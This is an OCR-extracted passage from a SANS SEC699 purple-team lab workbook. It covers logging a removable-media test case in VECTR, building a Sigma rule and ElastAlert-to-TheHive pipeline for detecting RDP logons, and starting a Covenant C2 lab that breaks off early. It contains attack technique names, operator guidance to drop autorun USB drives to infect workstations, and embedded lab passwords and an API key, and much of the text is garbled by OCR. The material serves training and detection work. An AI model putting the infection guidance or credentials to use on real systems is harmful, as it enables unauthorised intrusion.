
Test Cases Completed: 153

Test Cases Passed:

) Detected:

Il Blocked:

Test Cases Failed:

66% Passed

Create Date

01/02/2017

08/02/2017

01/02/2018

08/02/2018

01/02/2019

Blocked

Not Detected 29%

34%

Status

Completed
Completed
Completed
Completed

Completed

Assessments

External Port Scans

Assessment Details

Test Cases Completed:

Test Cases Passed:

) Detected

[l Blocked:

Test Cases Failed:

IF' & @ &

(]

CREATE NEW | FROM NAV LAYER 0

Tags

»
BB :
. =

3

100% Passed

Once you're comfortable with the overview, let's continue to ultimately build our own report.

Step 4: Create a New Database

To start doing our own assessments, we should start a new database.

In the top right, click the "Database" icon, followed by "Select Session Database" entry.

Py Name Create Date Status Tags Delete Databases
. Enterprise Purple - 2017 Q1 01/02/2017 Completed k)
Enterprise Purple -~ 201703 08/02/2017 Completed B
: Enterprise Purple - 2018 Q1 01/02/2018 Completed -
= Enterprise Purple - 2018 G3 08/02/2018 Completed B
# Enterprise Purple ~ 2019.Q1 01/02/2019 Completed -7
Assessments

Enterprise Purple — 2018'Q3

Enterprise Purple - 201803

Assessments Aggregated 21

Test Cases Completed: 153
Test Cases Passed: 101
J Detested: 56
i Blocked: 45

Test Cases Failed: 52

66% Passed

In the opened modal, click the "+" button.

42
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[ DEMO_ATOMIC_RED_CE
[ DEMO_PURPLE.CE

& ]

In the creation model, name your new database. In our example, we'll use "SEC699_LAB". Once done,
press the blue "Submit" button.

Create Session Database

Database Name *

SEC699_LAB

Once created, you can select the new "SEC699_LAB" database and press the "Done" button.
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[] DEMO.ATOMIC_RED_CE
[[] DEMO.PURPLE CE

SEC699_LAB

.

We now have an empty database in which we can start adding our own data.

Step 5: Create a Test Case

Before we can start a campaign, we need a detailed description of what we are going to test.
VECTR calls this a test case.

Define a new Test Case by going to the "Test Cases" section of the "Administration" menu.

Assessments

Reporting CREATE NEW | FROM NAY LAYER 2]
Vendor & Tools

ey e ' Name | Create Date Status Tags | Actions

SourceIPs

o
*
&
-
k4
=i
&

Administration =
Group Templstes

Test Cases
Vendor & Tools:
Defensive Layers
Phases

Organizations.

Kill Chains

Tegging

User Management

SECURITY

Once the Test Case is shown, press the white "New Test Case" button to start creating a new case.
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SRR F'$» @ & S
=
& [T Show Deprecated
v Phase Organization Technique TestCase Action

i ~] [ v (o | oo
= Initial Access SRA Spearphishing Link Macro- Excel 4 n n n
= Command & Contral  Atomilc Red Tearn Remote File Capy. T1105- scp remote file copy (pusH) . n n n
# Credential Access SRA Brute Force PowefUpSQL Scanning - 1 '
Credential Access Atomic Red Team Private Keys T1145-Private Keys
Discovery SRA File and Difectory Discovery Directory Brute Force | n n n
DefenseEvasion  Atomic Red Team Indirect Command Execution T1202 - Indirect Command Execution - forfiles.exe . n n n
Defense Evasion Atomic Red Team Access Token Manipulation T1134 - Access Token Manipulation v n n n

Credential Access SRA Kerberoasting 'Kerberoasting - RC4 n n n
Persistence Atomic Red Team Hooking T1179- Hook § TLS Encrypt/Decrypt " BEa

DefenseEvasion  Atomiic Red Team Rootkit T1014- Loadable Kemel Module based Rootkit B
Exectition Atomic Red Tearm Rundlia2 T1085 - Rundii32 exectte JayaScript Remote Payload With GetObject ' n n n
Defense Evasion Atomic Red Team Binary Padding "T1009 - Pad Binary to Change Hash - Linux/mac0S dd ‘ n n n -
Discovery Atomic Red Team Account Discovery "T1087 - View sudoers access | n n n
Nafanaa Fuasinn Atamis Rad Taam X8I Sarint Prarscsinn TI220- WMIR hunasa i1aina lnral XQI1 file I n “ “ n bl

Enter the required details, then click save. The example below is a simple test case for initial
access through removable media, but feel free to experiment a bit and add some additional
cases.

Once your case is completed, press the blue "Save" button.

Red Team Details

Name Qutcome
T1091 - Replication Through Removable Media B 18D [] Blocked [7] Detected [C] NowDetected

Description .
MOAINCAtion o7 eXeCUTaD|e nies Stored on removabie meaia o Ogome Notes
by copying malwares enar 1o look like @ ate aurcomeNotes
file to trick u
case of Initial Access, this may occur through i
manipulation of the media. modification
initially form
firmware ftsel

Technique
autorun Initial Access

Tags W

Operator Guidance Rules

Drop USB drives with autorun. inf to infect Windows

workstations
Detection

References Monitor file access on removable medias
\ hitps//atiack. mitre org/techmiques/T1091/ x

*

Monitor processes created from removable medias.

From the presented screen, you can now search for your newly created case using keywords
such as "T1091" if your title contains it.

Go ahead and locate your case.
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Step 6: Create a Campaign Template

With our sample case created, let's now move on to the campaigns.

Open the "Campaign Templates" from the "Administration" section as shown below.

#F Administration

From the "Manage Campaign" view, press the white "New Campaign" button.
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NEW CAMPAIGN

8 Name Organization Action
‘ searchfilter ..

@

External Perimeter Activity SRA a-
* B-Rn

Data Exfil Mathods - Physical SRA Bl o ‘n
o

Endpoint Execution - Benign SRA n a- \n
y

Malware Simulation SRA E - B8
Data Exfil Methods - Network SRA n a '\n
Data Exfil Methods - Email SRA B~ \n
Domain Cantroller Assault SRA B - \n
ln!malsgxzni&i?veryqnd - Oo-ga
Network Mithl SRA n a '\n
Network Access Controls SRA B-B8
Physical Access to Laptop SRA n i a ‘n

Endpoint Persistence SRA n a- \n
Endpoint Execution SRA E - R .

Add the template's details, and search for the test cases you want to include in the campaign such as
our sample case created earlier.

SEC699 - Lab Assessment

Sample assessment for SANS SEC699 labs.

of

SANS SEC699

| SEC699

Include Organizations Phase Category Variant

SEC699 Initial Access autorun T1091 - Replication Through Removable Media

=

Once ready, press the "Save" button. You should obtain a similar view where you can manage the
new "SEC699 - Lab Assessment".
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Manage Campaigns NEW CAMPAIGN SEC699 - Lab Assessment Details NEWTEST CASE

& Name Organization Action Phase Technique Variant Action
search filter ... search filter..,
*
External Perimeter Activity SRA n 33 |n Hitial Adess p— T1091 - Replication Through n n
| 2 — Removable Media

Data Exfil Methods - Physical SRA n rs |n
Endpoint Execution - Benign SRA n a- |u
Malware Sifulation SRA n o |n
Data Exfil Methods - Network SRA n rs |n
Data Exfil Methods - Emall SRA n o |n
Domain Controller Assault SRA B~ B8
Intemal sé:;?::'lt:‘liicno\'ew and SRA n : iu
Network Mitht SRA n rs |n
Network Access Controls SRA n o |n
Physical Access to Laptop SRA u: In

Endpoint Persistence SRA n a- |n
Endpoint Execution SRA B - B .

Note that you can also add new test cases directly from the campaign template menu.
Step 7: Create and Run an Assessment
With our test case(s) in a template, we can finally create a new assessment.

Running an Assessment

Select the menu's "Assessment" entry.
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From there, you can create a new assessment by pressing the white "Create New" button.

Assessments FROMNAV LAYER l(7]

a Name Create Date Status Tags Actions

Fill out your assessment. We will use the values outlined in the image and add the "SEC699"
organization’s kill chain. Once ready, press the blue "Save" button.

New Assessment

Name: SECB99 - Infial Assessment

Description: First SEC699 Assessment

From Template:
Kill Chain:

Select Organization

Al ~ | sEce99

SEC699 SEC699 - Lab Assessment Sample assessment for SANS SEC699 labs.

Because we have only one campaign, this menu is fairly barren... In real world assessments,
this would be a much longer list.

From the list, expand the assessment's menu and select the outline "Load" button to start.
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With our assessment started, let's complete a case.

Perform the same operation again by pressing the blue "Load" button from the expandable menu.

The view you'll get, similar to the one below, is a global progress view from your assessment.

Running a Case

From the "Test Cases", select our sample case's cog button as outlined in the image.
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SEC699_LAB / SEC699 - Initial Assessment /

SEC699 - Lab Assessment: Escalation’Path Timeline

& Initial Access
&
b 2
=
s & ®
SEC699 - Lab T1091 - Replication
ssessment Through Removable
Media
« >
Test Cases
Phase Technique “Test Case Status Outcome Tags Action
[an ] | search.. search... [an ~ | [an ~ | [an ~|

- ‘T1091 - Replication Through - n . n
Initial Access atitorun RernsiablaMedia NotPerformed | W%

Let's simulate a blue-team detection to see how our purple-teaming will become constructive!

Start by pressing the green play button to start our test case after which we can press the cogs
button from the blue-team's "Detection Time". From the presented time-line, press the green "New"
button.

Edit T1097 - Replication Through Removable Media Test Case

Select Event For True Detection Time
Status: InProgress Red Team Detalls
Selection will save all created timeline events

] NotDetected

Name ~ © 01/06/2020 06:58:25
MR ”*"“"“"”"3 T1091 - Replication Through Removable Media : status changed to InProgress

Expected
Description
Adversaries may move o
disconnected or air-gapf Layers
01/06/2020 removable media and tal )
06:58:25 when the mediais inserth
status changed to case of Lsteral Movermet
InProgress modification of execiitak
bv cooving malware and

Detection

Technique
autarun

Operator Guidance

Drop USB drives with aut
warkstations

Source |Ps
References |
L= hiipssattack.mit

+

Attacker Tools o8

Select your team, time and describe the time-line event.
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Edit T1097 - Replication Through Removable Media Test Case

Select Evenit For True Detection Time
2am Detalls
Selection will save all created timeline events

Name 4 o1 i
~Reil New Timeline Event
11091 -Repikcation Thia I = ress ) NotDetected Expected

Description

Adversaties may movea

disconnected ar air-g2pR Blue oA Layers
01/06/2020 removable media and fal =
06:58:25 when the media [s inserti
status changed to case of Lateral Movemal
InProgress: modification of exeutal

by canvina malwars and

Team Detection

1/6/2020

Technique
autorun

A
= 1 4=

Operator Guidance
Drop:USB drives with aul
warkstations Description

v
Source IPs
Windows blacked execution from remoavat

References: i
hitps/attack mit
L

Our time-line will now log our detection, which ultimately will populate our case and
assessment.

Press the blue "Save All" button to save our changes.

Edit T1091 - Replication Through Removable Media Test Case

Selection will save all created timeline events

Nam

| 01/06/2020 06:5%:23
il

T1091 - Replication Through Removable Media : changed to : Windows blocked execution from removable media. Expected

01/06/2020 06:58:25 Detection
T1091 - Replication Through Removable Media : status changed to InProgress -
01/06/2020 Layers
06:58:25
status changed to
InProgress

Attack Stop

Source |Ps

2
ET | Cencel

Let's estimate we successfully blocked the red-team's attempt...

You can mark the outcome as "Blocked" according to the previous event we described. As we
supposedly received an alert, let's mark it too using the "Yes" check-box.
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01/06/2020
06:58:25

status changed to
InProgress

Name

T1091 - Replication Through Remevable Media

Description
Adversaries may move onto systems, possibly those on
disconnected or air-gapped networks, by copying malware to
end aking f Autorun features

when the media isinserted into a system and execttes. In the
case of Lateral Movement, this may ocour through

f stored media or
by copvina malware and renamina it to look like a leaitimate

Technique Phase
autorun ‘ Initial Access

Operator Guidance

Drap USE drives with autorun inf ta infect Windows
wotkstations

References
https//attack mitre org/techniquas/T1091/

Outcome
[] T8D Blocked [ Deteoted [] NotDetected

Detecting Blue Tool(s): &

Was an alert triggered?
Yes [C] T8D [] No

Qutcome Notes
outcomeNotes

Tags W
Rules

01/06/2020
07:00:06
outcome changed

| Monitor file access on removable medias.

Cancel | [0

Once the red-team is done with its attempts, they can stop the case using the blue square (a.k.a.

"Stop"”) button. Don't forget to save our changes!

Edit T1091 - Replication Through Removable Media Test Case

01/06/2020
06:58:25

status changed to
InProgress

01/06/2020
07:01:09

status changed to
Completed

Name
11091 - Replication Through Removable Media

Description
Adversaries may moveonto systems, poasibly those on
disconnected or air-gapped networks, by copying malware to
and taking je of Autorin features

‘When the media is inserted into a system and exectites. In the
caseof Lateral Movement, this may occur through

Hion of filles stored an rer media or
by cobvina malwareand tenamina it to look Ikea leaitimate.

Technique Phase
autorun | Inifial Access

Operator Guidance

Drop USB drives with sutorun.inf to infect Windows
waorkstations,

Refer

Step 8: Purple-Team Reporting

Outcome
[ 780 Blocked [] Detected [[] NotDetected
Detecting Blue Tool(s): &

Was an alert triggered?
B ves [ 78D [] No

Outcome Notes

outcomenotes

Monitor file aecess on removablemedias.

01/06/2020
07:00:06
outcome changed
1o Blocked

To achieve the final objective of purple-teaming, let's review our assessment's report.

From the menu, select the "Reporting" section.

© 2021 NVISO and James Shewmaker

53


https://technet24.ir

Reporting

You will be able to select the report's type, the assessment, and campaign you wish to see. Our
current report is quite light given we made a limited assessment. In real situations, your
reports will be more similar to the report you discovered at the beginning of the lab.

~~~~~~ = Report Type Assessments Campaigns Dutcomes Statuses
* % Metrics - SEC699 - Initial Assessment - SEC699 - Lab Assessment - ALL SELECTED - Completed +3 more -
a
¢ Overall Score
* Superior
p=g
Campaigns Aggregated 1
~
Test Cases Completed: 1
Test Cases Passed: 1
1l Detected: 0
i Blocked: 1
 Test Cases Failed: 0

Statistics by Detection/Prevention Tool
Blocked and detected test cases for detectlon/prevention tools employed

No Data Available.

Conclusions

This concludes our walkthrough of VECTR. During this lab, you learned:

e How to deploy VECTR on a Linux machine
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e What the VECTR overall interface looks like and how it can be leveraged for purple team
documentation

After the lab, please stop your target environment. In order to do so, please use the following
command:

cd /home/student/Desktop/lab-manager
./manage.sh destroy_target -t [version_tag] -r [region]

Exercise 3: Preparing our Elastic and Sigma stack

During this lab, we will review the stack you will use for detection of the different techniques
we'll address throughout the week. We'll mainly leverage Elastic, ElastAlert, and SIGMA:

Elasticsearch Elasticsearch is a distributed, open source search and analytics engine for
all types of data, including textual, numerical, geospatial, structured, and unstructured.
Elasticsearch is built on Apache Lucene and was first released in 2010 by Elasticsearch
N.V. (now known as Elastic). Known for its simple REST APIs, distributed nature, speed,
and scalability, Elasticsearch is the central component of the Elastic Stack, a set of open
source tools for data ingestion, enrichment, storage, analysis, and visualization.
Commonly referred to as the ELK Stack (after Elasticsearch, Logstash, and Kibana), the
Elastic Stack now includes a rich collection of lightweight shipping agents known as Beats
for sending data to Elasticsearch.

Source: www.elastic.co/what-is/elasticsearch

ElastAlert
We designed ElastAlert to be reliable, highly modular, and easy to set up and configure.

It works by combining Elasticsearch with two types of components, rule types and alerts.
Elasticsearch is periodically queried and the data is passed to the rule type, which
determines when a match is found. When a match occurs, it is given to one or more
alerts, which take action based on the match.

This is configured by a set of rules, each of which defines a query, a rule type, and a set of
alerts.

Several rule types with common monitoring paradigms are included with ElastAlert:

e “Match where there are X events in Y time” (frequency type)
e “Match when the rate of events increases or decreases” (spike type)
e “Match when there are less than X events in Y time” (flatline type)
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e “Match when a certain field matches a blacklist/whitelist” (blacklist and whitelist
type)

e “Match on any event matching a given filter” (any type)

e “Match when a field has two different values within some time” (change type)

Source: elastalert.readthedocs.io

SIGMA

Sigma is a generic and open signature format that allows you to describe relevant log
events in a straightforward manner. The rule format is very flexible, easy to write and
applicable to any type of log file. The main purpose of this project is to provide a
structured form in which researchers or analysts can describe their once developed
detection methods and make them shareable with others.

Sigma is for log files what Snort is for network traffic and YARA is for files.

Source: github.com/Neo23x0/sigma

We will complete the following objectives:

e [nstall ElastAlert
e Install SigmaTools
e Create SIGMA rules

The objectives have been fully documented step-by-step (including all expected commands and
outputs). Feel free to either find your own way, or use the exact instructions as described
below, depending on your experience and expertise.

Your instructor will indicate how much time you can dedicate to this lab.

Lab Setup and Preparation
Please start your target lab environment using the following commands on the student VM:

cd /home/student/Desktop/lab-manager
./manage.sh deploy -t [version_tag] -r [region]

Once the environment is deployed, please start the lab from the CommandoVM.

Objective 1: Installing and Configuring ElastAlert

In the first part of this lab, we will install and configure ElastAlert.
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Step 1: Connect to the SOC Stack

We will configure ElastAlert on our SOC stack. To do so, SSH into the SOC stack using the
following command (you can use sec699 as the password):

ssh ansible@192.168.20.106

The commands executed during this lab are assumed to be executed from within this SSH
session.

Step 2: Installing ElastAlert

From the SSH session you stablished to your Elastic SOC stack, download ElastAlert and all the
necessary dependencies.

In order to do so, run the following command:

python3 -m pip install -U pip PyYAML
python3 -m pip install -U ElastAlert

You should now be able to test ElastAlert using the following command:

python3 -m elastalert.elastalert --help
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usage: ULE]
[--silence SILENCE] [--start START] [-—-end END]
[--verbose] [--patience TIMEOUT] [--pin_rules]
[--es_debug] [--es_debug_trace ES_DEBUG_TRACE]

optional arguments:

-h, —-help show this help message and exit

--config CONFIG Global config file (default: config.yaml)

--debug Suppresses alerts and prints information instead. Not
compatible with ‘--verbose’

--rule RULE Run only a specific rule (by filename, must still be
in rules folder)

--silence SILENCE Silence rule for a time period. Must be used with
--rule. Usage: --silence <units>=<number>, eg.
--silence hours=2

--start START YYYY-MM-DDTHH:MM:SS Start querying from this

timestamp. Use "NOW" to start from current time.
(Default: present)

--end END YYYY-MM-DDTHH:MM:SS Query to this timestamp. (Default:
present)

--verbose Increase verbosity without suppressing alerts. Not
compatible with "--debug’

--patience TIMEOUT Maximum time to wait for ElasticSearch to become
responsive. Usage: --patience <units>=<number>. e.g.
-—-patience minutes=5

-—pin_rules Stop ElastAlert from monitoring config file changes

--es_debug Enable verbose logging from Elasticsearch queries

--es_debug_trace ES_DEBUG_TRACE
Enable logging from Elasticsearch queries as curl
command. Queries will be logged to file. Note that
this will 1dincorrectly display localhost:9200 as the
host/port

Step 2: Configuring ElastAlert
Before we create our config file, let's set up a target directory where we'll save our work.
mkdir -p ~/elastalert/rules

ElastAlert keeps track of its searches by writing data to a separate index on the Elastic stack it
queries. This separate index hasn't been created yet, as the command requires a config file
first.

Create the config file using a text editor:

nano ~/elastalert/config.yml

In the file, please copy the following configuration entries:
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rules_folder: rules
run_every:
minutes: 1
buffer_time:
minutes: 15

es_host: 192.168.20.106
es_port: 9200

writeback_index: elastalert_status
writeback_alias: elastalart_alerts

alert_time_1limit:
days: 2

Take a second to review the different variables that are used in the config file.

Variable Explanation

define the folder where you will store your ElastAlert-rules, we

les_fold i ' i
rutes_totder already prepared this rules directory earlier

run_every define how often ElastAlert should query the Elastic stack
es_host the IP address of the Elastic cluster

es_port the port on which the Elastic cluster is accessible
writeback_index the index name where ElastAlert will write its data to
writeback_alias an alias for the index name

alert_time_limit the time before an existing alert is resent

Save the file by pressing ctrl and x at the same time followed by y and enter.

We are now ready to create the index by running:

python3 -m elastalert.create_index --index elastalert_status --config
~/elastalert/config.yml

Objective 2: Creating Custom Sigma Rules

In the next part of the lab, we will focus on transforming our Sigma rule into a working
ElastAlert rule along with a TheHive integration. For this, we will use he sigmac tool, which is a
Sigma rule converter. Additional documentation on this tool can be found at
https://github.com/Neo23x0/sigma/wiki/Converter-Tool-Sigmac.

This tool has been preinstalled on your SOC machine (192.168.20.106).
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Step 1: Preparing the Sigma Rule

To make our lives a bit easier and keep our Sigma rule-set separated from our ElastAlert rule-
set, we'll first create another directory and subsequently move into it.

mkdir ~/custom_rules
cd ~/custom_rules

We will start with a very basic Sigma rule that simply checks if there are RDP logons for the user
"student". Open a text editor and copy the following rule. Save the file as sec699-test.yml in
the ~/custom_rules directory.

title: 699 Test rule
description: Detect RDP logins
tags:
- Test
status: experimental
author: sec699
logsource:
product: windows
service: security
definition: 'Test rule to detect the existence of RDP logins'
detection:
selection:
EventID: 4624
LogonType: 10
condition: selection
falsepositives:
- everything
level: low

Let's break our rule down:

e The title property must be unique across all the rules you want to load with ElastAlert.

e The description, tags, status, author, falsepositives and level properties add
some more context to the rule but are not essential.

e The logsource property indicates which type of log source is required in order to be able
to trigger this rule. In our case, we will be using the Windows security logs.

e Inthe definition we state what needs to be present in the log in order for the rule to be
triggered. In our case again we will be looking at Windows Event IDs 4624 (successful
logon) which have a logon type of 16 (remote desktop).

e Finally, the selection inthe condition indicates we want to positively match on these
filters!

Step 2: Generate a Successful RDP Login
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We will now create an RDP session toward one of our Windows systems, say 192.168.20.105,
by launching the RDP client.

To open a new RDP session, start by searching the start-menu for "Remote Desktop Connection"
on Windows or "Remmina" on Ubuntu Linux.

O Remote Desktop Connectior|

Once located, open the "Remote Desktop Connection” utility and enter the IP of the system you
wish to connect to, say 192.168.20.105.
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(192168, 104 v

Once ready, press the outlined "Connect” button. You will then be prompted for credentials.
Using a privileged account such as sec699-20.1ab\student_ladm, password Sec699!!,
proceed to sign in using the outlined "OK" button.

sechT9- 0 lab\student ladm

You might be prompted to accept the machine's certificate, which you can do using the "Yes"
button. If you wish to avoid such prompts in the future, you may also check the "Don't ask me
again for connections to this computer" checkbox.
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Connecting using "Remmina" on Linux. Click "OK" once you entered the credentials.
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152.168.20.105

HH @ 192.168.20.105 §
Enter RDP authentication credentials
Username student_ladm
Password -
= Domain sec699-20.lab|
Save password
OK Cancel
'
[

R RS IS B = == S SEe—— ==

Once logged in, you may proceed to log out again. If you wish to make more noise, feel free to
repeat the operation.

Step 3: Manually Verifying the Logs in Kibana

Let's manually verify if any events for this remote desktop session exist. Open a browser
(Firefox and Chrome are preinstalled on CommandoVM) and navigate to
http://192.168.20.106:5601 . You should be presented with the Kibana interface.

Click the "Discover" icon in the left pane.
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Whenever doing a search in the "Discover” view, it is always a good idea to ensure the right
index is selected. Let's make sure the winlogbeat-* index is indeed selected as outlined on
the left as we will be searching for Windows events.

Events logged in Kibana are logged with the time-stamp reported by the endpoint. Given our
lab is configured for international use, you might need to change the covered duration by
clicking the calendar icon outlined below.
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From the opened prompt, let's select a wider time range such as "Today". Please take note of
this calendar icon, as you'll likely need to adapt the time window of your searches
throughout the different labs!

Next, we'll filter our logs to only show events which have a Windows event ID 4624, a logon
type 10 andthe student_ladm username.

Enter the following search query in the search bar, followed by either pressing the enter key
or pressing the blue "Refresh” button:

winlog.event_id: 4624 AND winlog.event_data.LogonType: 10

66 © 2021 NVISO and James Shewmaker

Technet24



https://technet24.ir
https://technet24.ir

Once done, you should have identified the RDP logons, of which there is one occurrence in the
below capture.

winlog.event_id: 4624 AND winlog.event. data.LogonType: *10"

1hit
Dec 28, 2020 @ 10:27:52.816 - Dec 28, 2020 @ 10:42:52.818  Auto v

@timestamp per 30 seconds

Step 4: Mapping Sigma to Elastic

In the next step, we will use the sigmac tool to transform our Sigma rule into an ElastAlert
rule. As Sigma tries to be a generic format, it uses logical field names that are easy to
understand by the end-user / analyst. In order for Sigma to work, though, these field names
have to be translated to fields available in your logging stack (in our case Elastic).

If we retake part of our Sigma rule, we see the field names EventID and LogonType :

detection:
selection:
EventID: 4624
LogonType: 10

If we go back to Kibana and analyze the event's structure, we notice that the field names need

to be mapped. Sigma's EventID should map to Elasticsearch's winlog.event_id, LogonType
to winlog.event_data.LogonType,arKjSO(Jn”.

© 2021 NVISO and James Shewmaker 67



https://technet24.ir

winlog.event data.LogonType: 18 winlog.event id: 4624

winlog.event_1d: 4624 winlog.event_data,logonType: 18

Luckily, modern Elastic instances and tools are ECS compliant:

The Elastic Common Schema (ECS) is an open source specification, developed with
support from the Elastic user community. ECS defines a common set of fields to be used
when storing event data in Elasticsearch, such as logs and metrics.

ECS specifies field names and Elasticsearch datatypes for each field, and provides
descriptions and example usage. ECS also groups fields into ECS levels, which are used to
signal how much a field is expected to be present.

Source: elastic.co

The main advantage of this standardized naming schema is that Sigma provides an already-
prepared mapping for the ECS, which you can find in their repository at
~/sigma/tools/config/winlogbeat-modules-enabled.yml

Step 5: Converting Sigma to ElastAlert

With the mappings file described above, we can start converting our initial Sigma rule into an
ElastAlert one. Note that ElastAlert is one of many Elastic-related types available in sigmac .
Another example is es-qs for raw searches!

Please switch back to the SSH session you have open toward the SOC stack ( 192.168.20.106 ).

We will now convert our Sigma rule using the mapping file:

sigmac --target elastalert --config ~/sigma/tools/config/winlogheat-modules-
enabled.yml --output ~/elastalert/rules/sec699-test.yml ~/custom_rules/sec699-
test.yml
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Review the newly created rule:

cat ~/elastalert/rules/sec699-test.yml

alert:
- debug
description: Detect RDP logins
filter:
- query:
query_string:
query: (winlog.channel:"Security" AND winlog.event_id:"4624" AND

winlog.event_data.LogonType:"10")
index: winlogbeat-x*
name: 699-Test-rule_0
priority: 4
realert:

minutes: 0O
type: any

When verifying the logs manually, we used this very same query, so we are pretty sure the rule
should work.

Let's test our rule by using the following command:

python3 -m elastalert.elastalert --config ~/elastalert/config.yml --rule
~/elastalert/rules/sec699-test.yml --verbose --start $(date +"%Y-%m-%d")

The final part of the command forces ElastAlert to start querying for data that has been
ingested today. By default, it will start querying from "now". When ElastAlert completed its first
run, you should receive the message that some alerts were sent:

INFO:elastalert:Ran 699-Test-rule_0 from 2020-03-12 00:00 GMT to 2020-03-12 15:45
GMT: 0 query hits (0 already seen), 2 matches, 2 alerts sent

Press ctrl + c to stop ElastAlert.

Step 6: Integrating with TheHive

At the moment we have a working ElastAlert rule, but no place to send our alert to. We'll
update our rule to automatically send alerts to TheHive.

TheHive is a scalable 4-in-1 open source and free security incident response platform
designed to make life easier for SOCs, CSIRTs, CERTs and any information security
practitioner dealing with security incidents that need to be investigated and acted upon

© 2021 NVISO and James Shewmaker 69


https://technet24.ir

swiftly. Thanks to Cortex, our powerful free and open source analysis engine, you can
analyze (and triage) observables at scale using more than 100 analyzers.

Source: github.com/TheHive-Project

Open a web-browser and navigate to http://192.168.20.106:9000 . During the first set-up,
you will get guided into updating the database and creating a first user. Take into account the
initial setup will take a few minutes.

If prompted, press the "Update Database" button.

You might get prompted to create an administrator user. If so, create a user with the admin
login as well as the admin password. As the name is not important, go ahead and choose one
you would like.

Once ready, you may press the blue "Create” button.

With the setup done, you will now resume the usual login flow where you will use your
administrative credentials. Log in with the admin user (password admin) after which you might
press the blue "Sign in" button.

In order to integrate TheHive with ElastAlert, we will need an APl key. From TheHive's home
screen, click the "Admin" menu in the top right corner and select the "Users" entry.
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From the user management pane, proceed to edit your user by clicking the "Edit" button.

TheHive prevents users from generating alerts by default, regardless of their permissions. As
we will be using our user to generate alerts, make sure to check the "Allow alerts creation”
check-box and save any changes using the blue "Save user"” button.
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Allow alerts creation

SaVe user

With our user authorized, let's move on to create a new API key using the user's "Create APl key"
button.

Once the API key generated, press the blue "Reveal” button to retrieve the secret.
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From the displayed input, copy your user's API key as shown in the capture below.

IAIGECTZS AT mRIGTVARZD B DXET

Go back to your SSH session and open your ElastAlert rule with a text editor.

nano ~/elastalert/rules/sec699-test.yml

We'll update the alert section in our rule to have ElastAlert generate alerts in TheHive.
Update our existing rule with the following configuration:
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alert:
- 'hivealerter'

hive_connection:
hive_host: http://192.168.20.106
hive_port: 9000
hive_apikey: 1AI6EcfZSc4sZmRj6TVXR2zxkoawDXgf

hive_alert_config:
title: 'RDP logins detected on host {match[host][name]}"'
type: 'ElastAlert'
source: '{match[event][provider]}'
description: 'Detected by {rule[name]}.'
severity: 2
tags: ['Sigma', 'Test']
tlp: 2
status: 'New'
follow: True

We replaced the default debug alert with a hivealerter . In order for the alerter to work
properly, it requires a few mandatory variables:

e hive_host isthe IP or hostname where your TheHive instance can be found. This is the
IP of your SOC stack.

e hive_port is TheHive's port, which is the default 9060 .
e hive_apikey isthe APl key you previously generated in TheHive.
e hive_alert_config let us customize which info is sent to TheHive. We can substitute
certain values by referencing them between {} . The values can be derived from the rule
that was triggered, such as '{rule[name]}' or from the event that was matched by the
rule. Any field can be used, if we take the hostname as an example we can have a quick
peak at the Kibana event and notice there is a field called host.name . We can reference
this field through match[host] [name] .

source lets you track where your alert was generated from. We will use Kibana's
event.provider field which, for our RDP events, contain the "Microsoft-Windows-Security-
Auditing" value.

Below is the full rule for good measurement.
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alert:
- 'hivealerter'

hive_connection:
hive_host: http://192.168.20.106
hive_port: 9000

hive_apikey: 1AI6EcfZSc4sZmRj6TVXR2zxkoawDXgf # Replace the API key with yours

hive_alert_config:
title: 'RDP logins detected on host {match[host][name]}'
type: 'ElastAlert'
source: '{match[event][provider]}'
description: 'Detected by {rule[name]}.'
severity: 2
tags: ['Sigma', 'Test']
tlp: 2
status: '"New'
follow: True

description: Detect RDP logins
filter:
- query:
query_string:
query: (winlog.channel:"Security" AND winlog.event_id:"4624" AND

winlog.event_data.LogonType:'"10")
index: winlogbeat-*
name: 699-Test-rule_0
priority: 4
realert:

minutes: 0
type: any

Our integration is ready to be tested; run ElastAlert once more:

python3 -m elastalert.elastalert --config ~/elastalert/config.yml --rule
~/elastalert/rules/sec699-test.yml --verbose --start $(date +"%Y-%m-%d")

Head over to TheHive to see if the alert was generated. We can log in using the admin user
(password admin ) and select the "Alerts" tab. You will notice that the live feed already shows

matching alerts, as does the "Alert” tab's badge.
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2 Openiin navw
+ idded by Foo Bar secon
2 [Microsoft-Windows-Security-Auditing] 699 Test-rule_0

tlp:

tags:|

customFiglds: {}
status:

As you can see on your instance, and in the beneath capture, your alert's type, title and source
match the dynamic values we defined. You may inspect an alert by pressing the "Preview and
import” button, outlined on the right.

RDP logins detected on host winl0.5ec699-40.lab

MicrasoftMWindows Thu, Mar 12th, 2020
Security-Auditing 17:27 -0100

RDP logins detected an host winl0.sec699-40.lab Microsoft-Windows- Thiu, Mar 12th, 2020
— Security-Auditing 1727 +01:00
~EEDE3 tAuditing .

The alert's preview furthermore shows the expected description.
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n RDP logins detected on host win10.sec699-40.lab

; 3 @ Type: ElastAlert @ Source: Microsoft-Windows-Security-Auditing

Detected by 699-Test rule_0.

You can import the case by clicking the "Import" button, but we will not use it any further.

Bonus Step: Sigmac Tricks

The sigmac tool allows conversion toward a multitude of targets such as Splunk, ArcSight,
QRadar, and more. For a full list of supported targets, run sigmac -1. If you want to quickly
check if your Sigma rule will trigger on the correct events, use the es-qgs target and paste the
resulting query in Kibana.

Conclusions

This concludes our configuration of our detection stack. During this lab, you performed the
following tasks:

e Implemented ElastAlert

¢ Installed SIGMA Tools

e Developed a sample SIGMA rule

e Set up a forwarding from ElastAlert to TheHive

After the lab, please stop your target environment. In order to do so, please use the following
command:

cd /home/student/Desktop/lab-manager
./manage.sh destroy_target -t [version_tag] -r [region]

Exercise 4: Preparing Adversary Emulation Stack

During this lab, we will explore the implant framework that will be used throughout the week
for manual adversary emulation work:
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Covenantis a .NET command and control framework that aims to highlight the attack
surface of .NET, make the use of offensive .NET tradecraft easier, and serve as a
collaborative command and control platform for red teamers.

Covenant is an ASP.NET Core, cross-platform application that includes a web-based
interface that allows for multi-user collaboration.

Source: github.com/cobbr/Covenant

We will complete the following objectives:

e Explore Covenant
e |nfect a host
e Run tasks on the infected host

The objectives have been fully documented step-by-step (including all expected commands and

outputs). Feel free to either find your own way, or use the exact instructions as described
below, depending on your experience and expertise.

Your instructor will indicate how much time you can dedicate to this lab.

Lab Setup and Preparation
Please start your target lab environment using the following commands on the student VM:

cd /home/student/Desktop/lab-manager
./manage.sh deploy -t [version_tag] -r [region]

Once the environment is deployed, please start the lab from the CommandoVM.

Objective 1: Exploring Covenant

In the first part of the lab, we will go over the Covenant Ul and address core concepts.

Step 1: Authenticate to Covenant Ul

All work using Covenant can be done through the Covenant Ul, which can be accessed on
